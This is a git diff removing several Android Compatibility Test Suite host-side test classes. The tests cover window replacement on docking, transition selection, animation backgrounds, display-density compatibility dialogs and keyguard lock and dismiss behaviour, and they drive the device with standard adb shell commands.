diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
deleted file mode 100644
index 3aa3ce0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerReplaceWindowTests.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.lang.Exception;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import junit.framework.Assert;
-
-import static com.android.ddmlib.Log.LogLevel.INFO;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerReplaceWindowTests
- */
-public class ActivityManagerReplaceWindowTests extends ActivityManagerTestBase {
-
-    private static final String SLOW_CREATE_ACTIVITY_NAME = "SlowCreateActivity";
-    private static final String NO_RELAUNCH_ACTIVITY_NAME = "NoRelaunchActivity";
-
-    private List<String> mTempWindowTokens = new ArrayList();
-
-    public void testReplaceWindow_Dock_Relaunch() throws Exception {
-        testReplaceWindow_Dock(true);
-    }
-
-    public void testReplaceWindow_Dock_NoRelaunch() throws Exception {
-        testReplaceWindow_Dock(false);
-    }
-
-    private void testReplaceWindow_Dock(boolean relaunch) throws Exception {
-        if (!supportsSplitScreenMultiWindow()) {
-            CLog.logAndDisplay(INFO, "Skipping test: no multi-window support");
-            return;
-        }
-
-        final String activityName =
-                relaunch ? SLOW_CREATE_ACTIVITY_NAME : NO_RELAUNCH_ACTIVITY_NAME;
-        final String windowName = getWindowName(activityName);
-        final String amStartCmd = getAmStartCmd(activityName);
-
-        executeShellCommand(amStartCmd);
-
-        // Sleep 2 seconds, then check if the window is started properly.
-        // SlowCreateActivity will do a sleep inside its onCreate() to simulate a
-        // slow-starting app. So instead of relying on WindowManagerState's
-        // retrying mechanism, we do an explicit sleep to avoid excess spews
-        // from WindowManagerState.
-        if (SLOW_CREATE_ACTIVITY_NAME.equals(activityName)) {
-            Thread.sleep(2000);
-        }
-
-        CLog.logAndDisplay(INFO, "==========Before Docking========");
-        final String oldToken = getWindowToken(windowName, activityName);
-
-        // Move to docked stack
-        final int taskId = getActivityTaskId(activityName);
-        final String cmd = AM_MOVE_TASK + taskId + " " + DOCKED_STACK_ID + " true";
-        executeShellCommand(cmd);
-
-        // Sleep 5 seconds, then check if the window is replaced properly.
-        Thread.sleep(5000);
-
-        CLog.logAndDisplay(INFO, "==========After Docking========");
-        final String newToken = getWindowToken(windowName, activityName);
-
-        // For both relaunch and not relaunch case, we'd like the window to be kept.
-        Assert.assertEquals("Window replaced while docking.", oldToken, newToken);
-    }
-
-    private String getWindowToken(String windowName, String activityName)
-            throws Exception {
-        mAmWmState.computeState(mDevice, new String[] {activityName});
-
-        mAmWmState.assertVisibility(activityName, true);
-
-        mAmWmState.getWmState().getMatchingWindowTokens(windowName, mTempWindowTokens);
-
-        Assert.assertEquals("Should have exactly one window for the activity.",
-                1, mTempWindowTokens.size());
-
-        return mTempWindowTokens.get(0);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
deleted file mode 100644
index 63aa1ab..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerTransitionSelectionTests.java
+++ /dev/null
@@ -1,266 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.platform.test.annotations.Presubmit;
-
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_ACTIVITY_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_TASK_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_TASK_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_CLOSE;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_INTRA_OPEN;
-import static android.server.cts.WindowManagerState.TRANSIT_WALLPAPER_OPEN;
-
-/**
- * This test tests the transition type selection logic in ActivityManager/
- * WindowManager. BottomActivity is started first, then TopActivity, and we
- * check the transition type that the system selects when TopActivity enters
- * or exits under various setups.
- *
- * Note that we only require the correct transition type to be reported (eg.
- * TRANSIT_ACTIVITY_OPEN, TRANSIT_TASK_CLOSE, TRANSIT_WALLPAPER_OPEN, etc.).
- * The exact animation is unspecified and can be overridden.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerTransitionSelectionTests
- */
-@Presubmit
-public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
-
-    private static final String BOTTOM_ACTIVITY_NAME = "BottomActivity";
-    private static final String TOP_ACTIVITY_NAME = "TopActivity";
-    private static final String TRANSLUCENT_TOP_ACTIVITY_NAME = "TranslucentTopActivity";
-
-    //------------------------------------------------------------------------//
-
-    // Test activity open/close under normal timing
-    public void testOpenActivity_NeitherWallpaper() throws Exception {
-        testOpenActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_ACTIVITY_OPEN);
-    }
-
-    public void testCloseActivity_NeitherWallpaper() throws Exception {
-        testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
-    }
-
-    public void testOpenActivity_BottomWallpaper() throws Exception {
-        testOpenActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
-    }
-
-    public void testCloseActivity_BottomWallpaper() throws Exception {
-        testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
-    }
-
-    public void testOpenActivity_BothWallpaper() throws Exception {
-        testOpenActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
-    }
-
-    public void testCloseActivity_BothWallpaper() throws Exception {
-        testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
-    }
-
-    //------------------------------------------------------------------------//
-
-    // Test task open/close under normal timing
-    public void testOpenTask_NeitherWallpaper() throws Exception {
-        testOpenTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_TASK_OPEN);
-    }
-
-    public void testCloseTask_NeitherWallpaper() throws Exception {
-        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_TASK_CLOSE);
-    }
-
-    public void testOpenTask_BottomWallpaper() throws Exception {
-        testOpenTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_CLOSE);
-    }
-
-    public void testCloseTask_BottomWallpaper() throws Exception {
-        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
-    }
-
-    public void testOpenTask_BothWallpaper() throws Exception {
-        testOpenTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_OPEN);
-    }
-
-    public void testCloseTask_BothWallpaper() throws Exception {
-        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                false /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
-    }
-
-    //------------------------------------------------------------------------//
-
-    // Test activity close -- bottom activity slow in stopping
-    // These simulate the case where the bottom activity is resumed
-    // before AM receives its activitiyStopped
-    public void testCloseActivity_NeitherWallpaper_SlowStop() throws Exception {
-        testCloseActivity(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_ACTIVITY_CLOSE);
-    }
-
-    public void testCloseActivity_BottomWallpaper_SlowStop() throws Exception {
-        testCloseActivity(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
-    }
-
-    public void testCloseActivity_BothWallpaper_SlowStop() throws Exception {
-        testCloseActivity(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
-    }
-
-    //------------------------------------------------------------------------//
-
-    // Test task close -- bottom task top activity slow in stopping
-    // These simulate the case where the bottom activity is resumed
-    // before AM receives its activitiyStopped
-    public void testCloseTask_NeitherWallpaper_SlowStop() throws Exception {
-        testCloseTask(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_TASK_CLOSE);
-    }
-
-    public void testCloseTask_BottomWallpaper_SlowStop() throws Exception {
-        testCloseTask(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_WALLPAPER_OPEN);
-    }
-
-    public void testCloseTask_BothWallpaper_SlowStop() throws Exception {
-        testCloseTask(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                true /*slowStop*/, TRANSIT_WALLPAPER_INTRA_CLOSE);
-    }
-
-    //------------------------------------------------------------------------//
-
-    /// Test closing of translucent activity/task
-    public void testCloseActivity_NeitherWallpaper_Translucent() throws Exception {
-        testCloseActivityTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                TRANSIT_ACTIVITY_CLOSE);
-    }
-
-    public void testCloseActivity_BottomWallpaper_Translucent() throws Exception {
-        testCloseActivityTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                TRANSIT_WALLPAPER_OPEN);
-    }
-
-    public void testCloseActivity_BothWallpaper_Translucent() throws Exception {
-        testCloseActivityTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                TRANSIT_WALLPAPER_INTRA_CLOSE);
-    }
-
-    public void testCloseTask_NeitherWallpaper_Translucent() throws Exception {
-        testCloseTaskTranslucent(false /*bottomWallpaper*/, false /*topWallpaper*/,
-                TRANSIT_TASK_CLOSE);
-    }
-
-    public void testCloseTask_BottomWallpaper_Translucent() throws Exception {
-        testCloseTaskTranslucent(true /*bottomWallpaper*/, false /*topWallpaper*/,
-                TRANSIT_WALLPAPER_OPEN);
-    }
-
-    public void testCloseTask_BothWallpaper_Translucent() throws Exception {
-        testCloseTaskTranslucent(true /*bottomWallpaper*/, true /*topWallpaper*/,
-                TRANSIT_WALLPAPER_INTRA_CLOSE);
-    }
-
-    //------------------------------------------------------------------------//
-
-    private void testOpenActivity(boolean bottomWallpaper,
-            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
-        testTransitionSelection(true /*testOpen*/, false /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
-    }
-    private void testCloseActivity(boolean bottomWallpaper,
-            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
-        testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
-    }
-    private void testOpenTask(boolean bottomWallpaper,
-            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
-        testTransitionSelection(true /*testOpen*/, true /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
-    }
-    private void testCloseTask(boolean bottomWallpaper,
-            boolean topWallpaper, boolean slowStop, String expectedTransit) throws Exception {
-        testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
-                bottomWallpaper, topWallpaper, false /*topTranslucent*/, slowStop, expectedTransit);
-    }
-    private void testCloseActivityTranslucent(boolean bottomWallpaper,
-            boolean topWallpaper, String expectedTransit) throws Exception {
-        testTransitionSelection(false /*testOpen*/, false /*testNewTask*/,
-                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
-                false /*slowStop*/, expectedTransit);
-    }
-    private void testCloseTaskTranslucent(boolean bottomWallpaper,
-            boolean topWallpaper, String expectedTransit) throws Exception {
-        testTransitionSelection(false /*testOpen*/, true /*testNewTask*/,
-                bottomWallpaper, topWallpaper, true /*topTranslucent*/,
-                false /*slowStop*/, expectedTransit);
-    }
-    //------------------------------------------------------------------------//
-
-    private void testTransitionSelection(
-            boolean testOpen, boolean testNewTask,
-            boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
-            boolean testSlowStop, String expectedTransit) throws Exception {
-        String bottomStartCmd = getAmStartCmd(BOTTOM_ACTIVITY_NAME);
-        if (bottomWallpaper) {
-            bottomStartCmd += " --ez USE_WALLPAPER true";
-        }
-        if (testSlowStop) {
-            bottomStartCmd += " --ei STOP_DELAY 3000";
-        }
-        executeShellCommand(bottomStartCmd);
-
-        final String topActivityName = topTranslucent ?
-                TRANSLUCENT_TOP_ACTIVITY_NAME : TOP_ACTIVITY_NAME;
-        final String[] bottomActivityArray = new String[] {BOTTOM_ACTIVITY_NAME};
-        final String[] topActivityArray = new String[] {topActivityName};
-
-        mAmWmState.computeState(mDevice, bottomActivityArray);
-
-        String topStartCmd = getAmStartCmd(topActivityName);
-        if (testNewTask) {
-            topStartCmd += " -f 0x18000000";
-        }
-        if (topWallpaper) {
-            topStartCmd += " --ez USE_WALLPAPER true";
-        }
-        if (!testOpen) {
-            topStartCmd += " --ei FINISH_DELAY 1000";
-        }
-        executeShellCommand(topStartCmd);
-        Thread.sleep(5000);
-        if (testOpen) {
-            mAmWmState.computeState(mDevice, topActivityArray);
-        } else {
-            mAmWmState.computeState(mDevice, bottomActivityArray);
-        }
-
-        assertEquals("Picked wrong transition", expectedTransit,
-                mAmWmState.getWmState().getLastTransition());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
deleted file mode 100644
index 8467af2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/AnimationBackgroundTests.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.AnimationBackgroundTests
- */
-public class AnimationBackgroundTests extends ActivityManagerTestBase {
-
-    public void testAnimationBackground_duringAnimation() throws Exception {
-        launchActivity(LAUNCHING_ACTIVITY);
-        getLaunchActivityBuilder()
-                .setTargetActivityName("AnimationTestActivity")
-                .setWaitForLaunched(false)
-                .execute();
-
-        // Make sure we are in the middle of the animation.
-        mAmWmState.waitForWithWmState(mDevice, state -> state
-                .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
-                        .isWindowAnimationBackgroundSurfaceShowing(),
-                "***Waiting for animation background showing");
-        assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
-                .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
-                .isWindowAnimationBackgroundSurfaceShowing());
-    }
-
-    public void testAnimationBackground_gone() throws Exception {
-        launchActivity(LAUNCHING_ACTIVITY);
-        getLaunchActivityBuilder().setTargetActivityName("AnimationTestActivity").execute();
-        mAmWmState.computeState(mDevice, new String[] { "AnimationTestActivity "});
-        assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
-                .getStack(FULLSCREEN_WORKSPACE_STACK_ID)
-                .isWindowAnimationBackgroundSurfaceShowing());
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
deleted file mode 100644
index 0ebbfe2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/DisplaySizeTest.java
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-/**
- * Ensure that compatibility dialog is shown when launching an application with
- * an unsupported smallest width.
- *
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.DisplaySizeTest
- */
-public class DisplaySizeTest extends DeviceTestCase {
-    private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
-    private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
-
-    private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
-    private static final String AM_FORCE_STOP = "am force-stop %s";
-
-    private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
-    private static final int WINDOW_TIMEOUT_MILLIS = 1000;
-
-    private ITestDevice mDevice;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mDevice = getDevice();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        try {
-            resetDensity();
-
-            // Ensure app process is stopped.
-            forceStopPackage("android.displaysize.app");
-            forceStopPackage("android.server.cts");
-        } catch (DeviceNotAvailableException e) {
-            // Do nothing.
-        }
-    }
-
-    public void testCompatibilityDialog() throws Exception {
-        // Launch some other app (not to perform density change on launcher).
-        startActivity("android.server.cts", "TestActivity");
-        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
-
-        setUnsupportedDensity();
-
-        // Launch target app.
-        startActivity("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
-    }
-
-    public void testCompatibilityDialogWhenFocused() throws Exception {
-        startActivity("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-
-        setUnsupportedDensity();
-
-        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
-    }
-
-    public void testCompatibilityDialogAfterReturn() throws Exception {
-        // Launch target app.
-        startActivity("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-        // Launch another activity.
-        startOtherActivityOnTop("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
-
-        setUnsupportedDensity();
-
-        // Go back.
-        mDevice.executeShellCommand("input keyevent 4");
-
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
-    }
-
-    private void setUnsupportedDensity() throws DeviceNotAvailableException {
-        // Set device to 0.85 zoom. It doesn't matter that we're zooming out
-        // since the feature verifies that we're in a non-default density.
-        final int stableDensity = getStableDensity();
-        final int targetDensity = (int) (stableDensity * 0.85);
-        setDensity(targetDensity);
-    }
-
-    private int getStableDensity() {
-        try {
-            final String densityProp;
-            if (mDevice.getSerialNumber().startsWith("emulator-")) {
-                densityProp = DENSITY_PROP_EMULATOR;
-            } else {
-                densityProp = DENSITY_PROP_DEVICE;
-            }
-
-            return Integer.parseInt(mDevice.getProperty(densityProp));
-        } catch (DeviceNotAvailableException e) {
-            return 0;
-        }
-    }
-
-    private void setDensity(int targetDensity) throws DeviceNotAvailableException {
-        mDevice.executeShellCommand("wm density " + targetDensity);
-
-        // Verify that the density is changed.
-        final String output = mDevice.executeShellCommand("wm density");
-        final boolean success = output.contains("Override density: " + targetDensity);
-
-        assertTrue("Failed to set density to " + targetDensity, success);
-    }
-
-    private void resetDensity() throws DeviceNotAvailableException {
-        mDevice.executeShellCommand("wm density reset");
-    }
-
-    private void forceStopPackage(String packageName) throws DeviceNotAvailableException {
-        final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
-        mDevice.executeShellCommand(forceStopCmd);
-    }
-
-    private void startActivity(String packageName, String activityName)
-            throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(getStartCommand(packageName, activityName));
-    }
-
-    private void startOtherActivityOnTop(String packageName, String activityName)
-            throws DeviceNotAvailableException {
-        final String startCmd = getStartCommand(packageName, activityName)
-                + " -f 0x20000000 --ez launch_another_activity true";
-        mDevice.executeShellCommand(startCmd);
-    }
-
-    private String getStartCommand(String packageName, String activityName) {
-        return String.format(AM_START_COMMAND, packageName, packageName, activityName);
-    }
-
-    private void verifyWindowDisplayed(String windowName, long timeoutMillis)
-            throws DeviceNotAvailableException {
-        boolean success = false;
-
-        // Verify that compatibility dialog is shown within 1000ms.
-        final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
-        while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
-            final String output = mDevice.executeShellCommand("dumpsys window");
-            success = output.contains(windowName);
-        }
-
-        assertTrue(windowName + " was not displayed", success);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
deleted file mode 100644
index a441e56..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/KeyguardLockedTests.java
+++ /dev/null
@@ -1,202 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.KeyguardLockedTests
- */
-public class KeyguardLockedTests extends KeyguardTestBase {
-
-    private static final String SHOW_WHEN_LOCKED_ACTIVITY = "ShowWhenLockedActivity";
-    private static final String PIP_ACTIVITY = "PipActivity";
-    private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
-            "android.server.cts.PipActivity.enter_pip";
-    private static final String EXTRA_SHOW_OVER_KEYGUARD = "show_over_keyguard";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        setLockCredential();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        tearDownLockCredentials();
-    }
-
-    public void testLockAndUnlock() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        unlockDeviceWithCredential();
-        mAmWmState.waitForKeyguardGone(mDevice);
-        assertKeyguardGone();
-    }
-
-    public void testDismissKeyguard() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        launchActivity("DismissKeyguardActivity");
-        enterAndConfirmLockCredential();
-        mAmWmState.waitForKeyguardGone(mDevice);
-        assertKeyguardGone();
-        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
-    }
-
-    public void testDismissKeyguard_whileOccluded() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
-        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-        launchActivity("DismissKeyguardActivity");
-        enterAndConfirmLockCredential();
-        mAmWmState.waitForKeyguardGone(mDevice);
-        assertKeyguardGone();
-        mAmWmState.assertVisibility("DismissKeyguardActivity", true);
-        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
-    }
-
-    public void testDismissKeyguard_fromShowWhenLocked_notAllowed() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertShowingAndNotOccluded();
-        launchActivity(SHOW_WHEN_LOCKED_ACTIVITY);
-        mAmWmState.computeState(mDevice, new String[] { SHOW_WHEN_LOCKED_ACTIVITY });
-        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-        executeShellCommand("am broadcast -a trigger_broadcast --ez dismissKeyguard true");
-        enterAndConfirmLockCredential();
-
-        // Make sure we stay on Keyguard.
-        assertShowingAndOccluded();
-        mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, true);
-    }
-
-    public void testDismissKeyguardActivity_method() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-        final String logSeparator = clearLogcat();
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity("DismissKeyguardMethodActivity");
-        enterAndConfirmLockCredential();
-        mAmWmState.waitForKeyguardGone(mDevice);
-        mAmWmState.computeState(mDevice, new String[] { "DismissKeyguardMethodActivity"});
-        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", true);
-        assertFalse(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        assertOnDismissSucceededInLogcat(logSeparator);
-    }
-
-    public void testDismissKeyguardActivity_method_cancelled() throws Exception {
-        if (!isHandheld()) {
-            return;
-        }
-        final String logSeparator = clearLogcat();
-        gotoKeyguard();
-        mAmWmState.computeState(mDevice, null);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        launchActivity("DismissKeyguardMethodActivity");
-        pressBackButton();
-        assertOnDismissCancelledInLogcat(logSeparator);
-        mAmWmState.computeState(mDevice, new String[] {});
-        mAmWmState.assertVisibility("DismissKeyguardMethodActivity", false);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-        unlockDeviceWithCredential();
-    }
-
-    public void testEnterPipOverKeyguard() throws Exception {
-        if (!isHandheld() || !supportsPip()) {
-            return;
-        }
-
-        // Go to the keyguard
-        gotoKeyguard();
-        mAmWmState.waitForKeyguardShowingAndNotOccluded(mDevice);
-        assertTrue(mAmWmState.getAmState().getKeyguardControllerState().keyguardShowing);
-
-        // Enter PiP on an activity on top of the keyguard, and ensure that it prompts the user for
-        // their credentials and does not enter picture-in-picture yet
-        launchActivity(PIP_ACTIVITY, EXTRA_SHOW_OVER_KEYGUARD, "true");
-        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
-        mAmWmState.waitForKeyguardShowingAndOccluded(mDevice);
-        assertShowingAndOccluded();
-        mAmWmState.assertDoesNotContainStack("Must not contain pinned stack.", PINNED_STACK_ID);
-
-        // Enter the credentials and ensure that the activity actually entered picture-in-picture
-        enterAndConfirmLockCredential();
-        mAmWmState.waitForKeyguardGone(mDevice);
-        assertKeyguardGone();
